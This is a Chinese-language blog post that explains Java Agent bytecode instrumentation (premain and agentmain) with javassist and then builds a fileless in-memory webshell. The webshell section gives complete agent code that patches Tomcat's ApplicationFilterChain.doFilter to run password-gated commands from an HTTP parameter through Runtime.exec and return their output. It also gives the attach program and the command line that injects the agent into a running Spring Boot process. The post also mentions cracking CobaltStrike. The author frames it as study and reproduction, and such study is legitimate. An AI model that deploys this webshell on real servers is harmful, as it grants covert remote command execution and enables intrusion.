Java Agent到内存马

Delina · 发表于 2021-12-15 16:17:56

原文链接：Java Agent到内存马

前言今天看到一篇文章，写的是关于JAVA Agent相关的资料(附1)，里面提到了Java Agent的两种实现方法：

实现premain方法，在JVM启动前加载
实现agentmain方法，在JVM启动后attach加载

因为最近流行破解CobaltStrike不再直接使用反编译打包源码了，而是使用JAVA Agent进行提前字节码修改。并且文章中也提到了javassist工具，我之前也用过javassist工具进行破解过Charles，因此抱着学习和复习的态度来复现下本文提到的技术点。
JAVA Agent两种方法复现Java Agent简单说就是一种可以修改jar字节码的技术，我们来复现下上述提到的两种方法。
premain通过实现premain方法，并在启动jar时添加-javaagent:agent.jar即可进行字节码修改。首先我们创建一个正常输出、测试用的JAVA程序，hello.jar：

package com.test;
public class Hello {
public static void main(String[] args) {
hello();
}
public static void hello(){
for (int i = 0; i < 1000; i++) {
System.out.println("hello");
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}

复制代码

生成jar包：

Build -> Build Artifacts -> Build

正常运行jar包得到如下输出：

java -jar hello.jar

接下来编写一个实现premain方法的JAVA程序：

package com.test;
import java.lang.instrument.Instrumentation;
public class premainagent {
public static void premain(String args, Instrumentation inst) throws Exception{
for (int i = 0; i < 10; i++) {
System.out.println("hello I`m premain agent!!!");
}
}
}

复制代码

并在MANIFEST.MF添加一行：

Premain-Class: com.test.premainagent

生成jar包并加载执行：

java -javaagent:premainagent.jar -jar hello.jar

可以看到，成功的在hello.jar本身结果输出前输出了premain方法的内容：

前面也提到现在破解CobaltStrike流行用JAVA Agent技术，我们看下破解工具的源码，能发现确实用的也是premain方法进行的破解：

agentmain但是有些JVM已经启动了，不好去让他重启，因此这个时候agentmain就派上用场了，可以方便的attach对应的进程进行字节码的修改。
编写一个实现了agentmain方法的JAVA程序：

package com.test;
import java.lang.instrument.Instrumentation;
public class agentmaintest {
public static void agentmain(String agentArgs, Instrumentation inst) {
for (int i = 0; i < 10; i++) {
System.out.println("hello I`m agentMain!!!");
}
}
}

复制代码

并在MANIFEST.MF添加一行：

Agent-Class: com.test.agentmaintest

生成jar包。
再编写一个attach程序(附2)：

import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class TestAgentMain {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException{
//获取当前系统中所有运行中的虚拟机
System.out.println("running JVM start ");
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : list) {
System.out.println(vmd.displayName());
String aim = args[0];//你的jar包
if (vmd.displayName().endsWith(aim)) {
System.out.println(String.format("find %s, process id %s", vmd.displayName(), vmd.id()));
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
virtualMachine.loadAgent(args[1]);//你想要加载的agentmain包
virtualMachine.detach();
}
}
}
}

复制代码

生成jar包。依然尝试对hello.jar进行字节码的修改，但是这次是运行着的hello.jar：
首先运行hello.jar：
java -jar hello.jar
对hello.jar进行启动后的attach加载：

java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain hello.jar agentmaintest.jar

发现成功在hello.jar运行过程中进行了字节码修改：

内存马既然可以修改某个方法的实现，那如果修改spring boot的Filter是否就可以实现一个Filter内存马？这里通过修改org.apache.catalina.core.ApplicationFilterChain#doFilter来达到实现内存马的目的。
依然实现一个agentmain方法，只是这次agentmain方法中不再是System.out.println了，而是接收request的值来执行命令。一开始跟着前文提到的方法进行复现，发现有一些问题，比如attach后会爆Caused by: java.lang.ClassNotFoundException: org.apache.catalina.core.ApplicationFilterChain
得加上这两句：

ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));

复制代码

除了上面agentmain章节中提到的，在MANIFEST.MF中添加一行Agent-Class，还要添加一行：

Can-Retransform-Classes: true

且最后执行命令的JAVA代码，申明变量类型时得是完整路径，如InputStream得变成java.io.InputStream。最终代码如下：

package com.test;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import javassist.*;
import java.lang.instrument.UnmodifiableClassException;
import java.lang.instrument.IllegalClassFormatException;
import java.io.IOException;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.NotFoundException;
public class memshell {
public static void agentmain(String agentArgs, Instrumentation instrumentation)
throws ClassNotFoundException, UnmodifiableClassException {
instrumentation.addTransformer(new ClassFileTransformer() {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] classfileBuffer){
System.out.println("premain load Class2:" + className);
if(!"org/apache/catalina/core/ApplicationFilterChain".equals(className)){
System.out.println("nonononononono");
return null;
}else {
try {
System.out.println("tryyyyyyyy");
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
String source = "{javax.servlet.http.HttpServletRequest request = $1;" +
"javax.servlet.http.HttpServletResponse response = $2;" +
"request.setCharacterEncoding("UTF-8");" +
"String result = "";" +
"String password = request.getParameter("password");" +
"if (password != null && password.equals("xxxxxx")) {" +
"String cmd = request.getParameter("cmd");" +
"if (cmd != null && cmd.length() > 0) {" +
"java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();" +
"java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();" +
"byte[] b = new byte[1024];" +
"int a = -1;" +
"while ((a = in.read(b)) != -1) {" +
"baos.write(b, 0, a);" +
"}" +
"response.getWriter().println("<pre>" + new String(baos.toByteArray()) + "</pre>");" +
"}" +
"}}";
ctMethod.insertBefore(source);
System.out.println("okokkkkkkkkkkkkkkkkkkkkkkkkkkkkk");
byte[] byteCode = ctClass.toBytecode();
ctClass.detach();
return byteCode;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
},true);
instrumentation.retransformClasses(Class.forName("org.apache.catalina.core.ApplicationFilterChain"));
}
}

复制代码

打包成jar，然后启动spring boot：

开始注入：

java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain demo-0.0.1-SNAPSHOT.jar memshell.jar

成功执行命令：

总结本文借着公开的文章学习了Java Agent相关技术，分别对JVM运行前和运行后的字节码修改进行了复现，现在JAVA内存马越来越流行，借着反序列化等漏洞可以悄无声息的上一个Webshell，如何发现此类攻击手段也是一个重要战场。
附1:https://xz.aliyun.com/t/9450
附2:https://blog.csdn.net/qq_41874930/article/details/121284684

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